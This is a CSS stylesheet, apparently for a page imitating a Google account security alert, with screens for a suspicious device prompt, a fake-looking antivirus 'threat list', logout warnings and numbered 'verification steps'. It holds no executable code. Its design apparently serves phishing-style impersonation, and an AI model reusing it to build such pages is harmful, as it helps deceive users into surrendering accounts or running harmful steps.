@font-face {
  font-family: "Product Sans";
  src: url("fonts/productsans.ttf") format("truetype");
}

* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  font-family: "Google Sans Flex", sans-serif;
  font-optical-sizing: auto;
  font-style: normal;
  font-variation-settings: "slnt" 0, "wdth" 100, "GRAD" 0, "ROND" 0;
}

body {
  /* font-family: "Product Sans", sans-serif; */
  background-color: rgb(240 244 249 / 1);
  color: #202124;
  line-height: 1.5;
}

/* ---------- LOADER ---------- */

.sZwd7c.qdulke {
  opacity: 1;
}
.sZwd7c {
  height: 4px;
  overflow: hidden;
  position: relative;
  transform: translateZ(0);
  transition: opacity 0.25s linear;
  width: 100%;
}

.w2zcLc,
.xcNBHc,
.MyvhI,
.l3q5xe {
  height: 100%;
  position: absolute;
  width: 100%;
}

.Ih3FE .w2zcLc {
  background-color: #f0f4f9;
}
.w2zcLc {
  background-color: #e6e6e6;
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

.MyvhI,
.l3q5xe {
  height: 100%;
  position: absolute;
  width: 100%;
}

.MyvhI.TKVRUb {
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

.MyvhI.sUoeld {
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

/* * {
    animation-fill-mode: both;
} */
.sZwd7c.jK7moc .sUoeld,
.sZwd7c.jK7moc .TKVRUb,
.sZwd7c.jK7moc .l3q5xe {
  animation-play-state: playing;
}
.sZwd7c {
  height: 4px;
  overflow: hidden;
  position: relative;
  transform: translateZ(0);
  transition: opacity 0.25s linear;
  width: 100%;
}

.sZwd7c .xcNBHc,
.sZwd7c .w2zcLc,
.sZwd7c .MyvhI,
.sZwd7c .l3q5xe {
  height: 100%;
  position: absolute;
  width: 100%;
}

.Ih3FE .w2zcLc {
  background-color: #f0f4f9;
}
.sZwd7c .w2zcLc {
  background-color: #e6e6e6;
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

.sZwd7c .MyvhI.TKVRUb {
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

.sZwd7c .MyvhI.sUoeld {
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

/* ---------- HEADER ---------- */

.header {
  background-color: #f0f3f8;
  border-bottom: 1px solid #f7f8fc;
  padding: 8px 24px;
  padding-bottom: 4rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.header-left {
  display: flex;
  align-items: center;
}

.logo-text {
  font-size: 22px;
  color: #1a1b1f;
  font-weight: 400;
  letter-spacing: 0;
}

.logo-text span {
  font-weight: 700;
}

.header-right {
  display: flex;
  align-items: center;
  gap: 8px;
}

.icon-btn {
  width: 40px;
  height: 40px;
  border: none;
  background: transparent;
  border-radius: 50%;
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: background-color 0.2s;
}

.icon-btn:hover {
  background-color: #f1f3f4;
}

.profile-btn {
  width: 32px;
  height: 32px;
  border: none;
  background: transparent;
  border-radius: 50%;
  cursor: pointer;
  padding: 0;
  overflow: hidden;
}

.profile-btn img {
  width: 100%;
  height: 100%;
  border-radius: 50%;
}

/* ---------- MAIN CARD ---------- */

.main-content {
  max-width: 800px;
  margin: auto auto;
  width: 100%;
  padding: 0 24px;
  display: flex;
  flex-direction: column;
  justify-content: center;
  position: relative;
  flex: 1;
  overflow: hidden;
}

.notification-card {
  background-color: #fff;
  border-radius: 28px;
  padding: 40px 48px;
  position: relative;
  overflow-x: hidden;
}

.notification-header {
  display: flex;
  align-items: center;
  gap: 8px;
  margin-bottom: 16px;
}

.time-badge {
  font-size: 14px;
  color: #5f6368;
}

.new-badge {
  background-color: #1a73e8;
  color: #fff;
  font-size: 11px;
  font-weight: 500;
  padding: 2px 8px;
  border-radius: 12px;
  text-transform: uppercase;
  letter-spacing: 0.3px;
}

.notification-title {
  font-size: 2.25rem;
  font-weight: 400;
  color: #202124;
  margin-bottom: 16px;
  letter-spacing: 0;
}

.notification-title-smaller {
  font-size: 1.5rem;
  font-weight: 400;
  color: #202124;
  margin-bottom: 16px;
  letter-spacing: 0;
}

.warning-text {
  font-size: 1rem;
  color: #5f6368;
  margin-bottom: 24px;
}

.warning-text.emphasize {
  margin-top: 8px;
  color: #202124;
}

/* ---------- FIRST SCREEN DEVICE INFO ---------- */

.device-info {
  display: flex;
  align-items: center;
  gap: 16px;
  margin-bottom: 32px;
  padding: 16px;
}

.device-image {
  height: 48px;
  object-fit: contain;
}

.device-name {
  text-align: left;
  font-size: 1.1rem;
  margin-left: 0.7rem;
  color: #000;
  opacity: 0.8;
  font-weight: 500;
  line-height: 20px;
}

.geo {
  font-size: 0.9rem;
  color: #000;
  opacity: 0.7;
  font-weight: 400;
}

.question-text {
  font-size: 14px;
  color: #202124;
  margin-bottom: 24px;
  font-weight: 500;
}

.action-buttons {
  display: flex;
  justify-content: space-between;
  gap: 16px;
  flex-wrap: wrap;
}

.btn {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 10px 24px;
  border: 1px solid #767676;
  border-radius: 24px;
  background-color: #fff;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
  transition: all 0.2s;
}

.btn:hover {
  background-color: #f8f9fa;
}

.btn-no {
  color: #db4437;
  font-weight: 500;
  border-color: #dadce0;
}

.btn-yes {
  color: #4285f4;
  font-weight: 500;
  border-color: #dadce0;
}

/* ---------- ОБЩИЕ GOOGLE-КНОПКИ ---------- */

.gbtn {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  border-radius: 4px;
  font-size: 14px;
  font-weight: 500;
  padding: 8px 24px;
  border: 1px solid transparent;
  cursor: pointer;
  transition: box-shadow 0.2s, background-color 0.2s;
  border-radius: 200px;
}

.gbtn-primary {
  background-color: #0b57d0;
  color: #fff;
  border-color: #1a73e8;
}

.gbtn-primary:hover {
  background-color: #1666d3;
  box-shadow: 0 1px 2px rgba(60, 64, 67, 0.3);
}

.gbtn-text {
  background-color: transparent;
  color: rgb(11 87 208 / 1);
  font-weight: 500;
}

.gbtn-text:hover {
  background-color: #0b57d010;
}

/* ---------- ЭКРАН С AV SCAN ---------- */

.top-message {
  font-size: 14px;
  color: #d93025;
  margin-bottom: 16px;
}

.password-banner {
  display: flex;
  align-items: center;
  padding: 12px 16px;
  background-color: #e6f4ea;
  border-radius: 8px;
  margin-bottom: 12px;
}

.password-icon {
  width: 24px;
  height: 24px;
  border-radius: 50%;
  background-color: #34a853;
  color: #fff;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 16px;
  margin-right: 12px;
}

.password-title {
  font-size: 14px;
  font-weight: 500;
  color: #137333;
}

.password-subtitle {
  font-size: 13px;
  color: #5f6368;
}

.scan-section {
  margin: 24px 0;
}

.scan-os {
  font-size: 1rem;
  font-weight: 500;
  display: flex;
  align-items: center;
  gap: 8px;
}

.scan-os img {
  height: 17px;
}

.scan-label {
  font-size: 13px;
  color: #5f6368;
  margin-bottom: 4px;
}

.threat-list {
  list-style: none;
  padding-left: 0;
  font-size: 16px;
  color: #d93025;
}

.threat-list li + li {
  margin-top: 2px;
}

.youre-all-set {
  font-size: 14px;
  font-weight: 500;
  color: #137333;
  margin-bottom: 8px;
}

.scan-actions {
  margin-top: 24px;
  display: flex;
  justify-content: end;
  gap: 16px;
  flex-wrap: wrap;
}

.text-center {
  text-align: center !important;
}

/* ---------- ЭКРАН "ALREADY LOGGED OUT" ---------- */

.risk-card {
  border-radius: 8px;
  width: 100%;
}

.risk-title {
  font-size: 22px;
  font-weight: 400;
  margin-bottom: 12px;
}

.risk-text {
  font-size: 14px;
  color: #5f6368;
  margin-bottom: 24px;
}

.risk-actions {
  display: flex;
  justify-content: space-between;
}

.risk-actions .gbtn-primary {
  border-radius: 200px;
}

.risk-actions .gbtn-text {
  padding-left: 16px;
  padding-right: 16px;
}

/* ---------- ЭКРАН С ШАГАМИ (бывшая модалка капчи) ---------- */

.verification-intro {
  font-size: 14px;
  color: #5f6368;
  margin-bottom: 24px;
  line-height: 1.6;
}

.verification-step {
  margin-bottom: 24px;
  display: flex;
  vertical-align: middle;
  gap: 15px;
}

.verification-step img {
  height: 42px;
}

.step-header {
  margin-bottom: 0;
}

.step-number {
  font-size: 16px;
  font-weight: 600;
  color: #202124;
}

.step-description {
  font-size: 14px;
  color: #000;
  opacity: 0.8;
  line-height: 1.6;
  padding-left: 0;
}

/* ---------- ОВЕРЛЕЙ + МОДАЛКА LOG OUT ---------- */

.overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.5);
  display: none;
  z-index: 999;
  animation: fadeIn 0.3s ease;
}

.overlay.active {
  display: block;
  pointer-events: all !important;
}

@keyframes fadeIn {
  from {
    opacity: 0;
  }

  to {
    opacity: 1;
  }
}

.confirm-modal {
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  z-index: 1000;
  display: none;
  animation: slideIn 0.2s ease;
}

.confirm-modal.active {
  display: block;
}

.logout-modal {
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  z-index: 1000;
  display: none;
  animation: slideIn 0.2s ease;
}

.logout-modal.active {
  display: block;
}

@keyframes slideIn {
  from {
    transform: translate(-50%, -55%);
    opacity: 0;
  }

  to {
    transform: translate(-50%, -50%);
    opacity: 1;
  }
}

.logout-container {
  background-color: #ebeef5;
  border-radius: 16px;
  box-shadow: 0 8px 16px rgba(0, 0, 0, 0.1);
  min-width: 360px;
  max-width: 480px;
  padding: 24px 24px 20px;
  border: 1px solid #dadce0;
}

.logout-title {
  font-size: 14px;
  color: #5f6368;
  margin-bottom: 4px;
}

.logout-heading {
  font-size: 20px;
  font-weight: 400;
  margin-bottom: 12px;
}

.logout-text {
  font-size: 14px;
  color: #5f6368;
  margin-bottom: 4px;
}

.logout-text-accent {
  color: #d93025;
}

.logout-actions {
  display: flex;
  justify-content: flex-end;
  gap: 16px;
  margin-top: 24px;
}

/* ---------- ADAPTIVE ---------- */

@media (max-width: 768px) {
  .main-content {
    margin: 40px auto;
    padding: 0 16px;
  }

  .notification-card {
    padding: 24px 20px;
  }

  .notification-title {
    font-size: 24px;
  }

  .action-buttons {
    flex-direction: column;
  }

  .btn {
    width: 100%;
    justify-content: center;
  }

  .risk-actions {
    flex-direction: column;
  }

  .logout-container {
    min-width: 0;
    width: 90vw;
  }
}

@media (max-width: 480px) {
  .header {
    padding: 8px 16px;
  }

  .logo-text {
    font-size: 18px;
  }

  .notification-title {
    font-size: 20px;
  }
}

.sZwd7c.qdulke {
  opacity: 1;
}
.sZwd7c {
  height: 4px;
  overflow: hidden;
  position: relative;
  transform: translateZ(0);
  transition: opacity 0.25s linear;
  width: 100%;
}

.w2zcLc,
.xcNBHc,
.MyvhI,
.l3q5xe {
  height: 100%;
  position: absolute;
  width: 100%;
}

.Ih3FE .w2zcLc {
  background-color: #f0f4f9;
}

.w2zcLc {
  background-color: #e6e6e6;
  height: 100%;
  transform-origin: top left;
  transition: transform 0.25s ease;
  width: 100%;
}

/* * {
    animation-fill-mode: both;
} */

.sZwd7c.jK7moc .sUoeld,
.sZwd7c.jK7moc .TKVRUb,
.sZwd7c.jK7moc .sUoeld > .l3q5xe,
.sZwd7c.jK7moc .TKVRUb > .l3q5xe {
  animation-play-state: playing;
}
.sZwd7c.B6Vhqe .TKVRUb {
  width: 140%; /* required */
  animation: primary-indeterminate-translate 2s infinite linear;
  background-color: #0b57d0;
}
.sZwd7c.B6Vhqe .MyvhI {
  transition: none;
}
.TKVRUb {
  transform: scaleX(0);
}
.MyvhI,
.l3q5xe {
  animation: none;
}
.w2zcLc,
.MyvhI {
  transform-origin: top left;
  transition: transform 0.25s ease;
}
.w2zcLc,
.xcNBHc,
.MyvhI,
.l3q5xe {
  height: 100%;
  position: absolute;
  width: 100%;
}

.sZwd7c.jK7moc .sUoeld,
.sZwd7c.jK7moc .TKVRUb,
.sZwd7c.jK7moc .sUoeld > .l3q5xe,
.sZwd7c.jK7moc .TKVRUb > .l3q5xe {
  animation-play-state: playing;
}
.sZwd7c.B6Vhqe .sUoeld {
  width: 100%; /* required */
  animation: auxiliary-indeterminate-translate 2s infinite linear;
  visibility: visible;
  background-color: #0b57d0;
}
.sZwd7c.B6Vhqe .MyvhI {
  transition: none;
}
.sUoeld {
  visibility: hidden;
}
.MyvhI,
.l3q5xe {
  animation: none;
}
.w2zcLc,
.MyvhI {
  transform-origin: top left;
  transition: transform 0.25s ease;
}
.w2zcLc,
.xcNBHc,
.MyvhI,
.l3q5xe {
  height: 100%;
  position: absolute;
  width: 100%;
}

.sZwd7c.B6Vhqe .TKVRUb > .l3q5xe {
  animation: primary-indeterminate-scale 2s infinite linear;
}

.sZwd7c.B6Vhqe .sUoeld > .l3q5xe {
  animation: auxiliary-indeterminate-scale 2s infinite linear;
  animation-delay: 1s; /* ← this is the magic */
}

@keyframes primary-indeterminate-translate {
  0% {
    transform: translateX(-145.166611%);
  }
  20% {
    animation-timing-function: cubic-bezier(0.5, 0, 0.701732, 0.495819);
    transform: translateX(-145.166611%);
  }
  59.15% {
    animation-timing-function: cubic-bezier(0.302435, 0.381352, 0.55, 0.956352);
    transform: translateX(-61.495191%);
  }
  100% {
    transform: translateX(55.444446%);
  }
}

@keyframes auxiliary-indeterminate-translate {
  0% {
    animation-timing-function: cubic-bezier(0.15, 0, 0.515058, 0.409685);
    transform: translateX(-54.888891%);
  }
  25% {
    animation-timing-function: cubic-bezier(0.31033, 0.284058, 0.8, 0.733712);
    transform: translateX(-17.236978%);
  }
  48.35% {
    animation-timing-function: cubic-bezier(0.4, 0.627035, 0.6, 0.902026);
    transform: translateX(29.497274%);
  }
  100% {
    transform: translateX(105.388891%);
  }
}

@keyframes primary-indeterminate-scale {
  0% {
    transform: scaleX(0.08);
  }
  36.65% {
    animation-timing-function: cubic-bezier(0.334731, 0.12482, 0.785844, 1);
    transform: scaleX(0.08);
  }
  69.15% {
    animation-timing-function: cubic-bezier(0.06, 0.11, 0.6, 1);
    transform: scaleX(0.661479);
  }
  100% {
    transform: scaleX(0.08);
  }
}

@keyframes auxiliary-indeterminate-scale {
  0% {
    animation-timing-function: cubic-bezier(
      0.205028,
      0.057051,
      0.57661,
      0.453971
    );
    transform: scaleX(0.08);
  }
  19.15% {
    animation-timing-function: cubic-bezier(
      0.152313,
      0.196432,
      0.648374,
      1.004315
    );
    transform: scaleX(0.457104);
  }
  44.15% {
    animation-timing-function: cubic-bezier(
      0.257759,
      0.003163,
      0.211762,
      1.38179
    );
    transform: scaleX(0.72796);
  }
  100% {
    transform: scaleX(0.08);
  }
}

.loader {
  position: absolute;
  top: 0px;
  left: 0px;
  width: 100%;
}
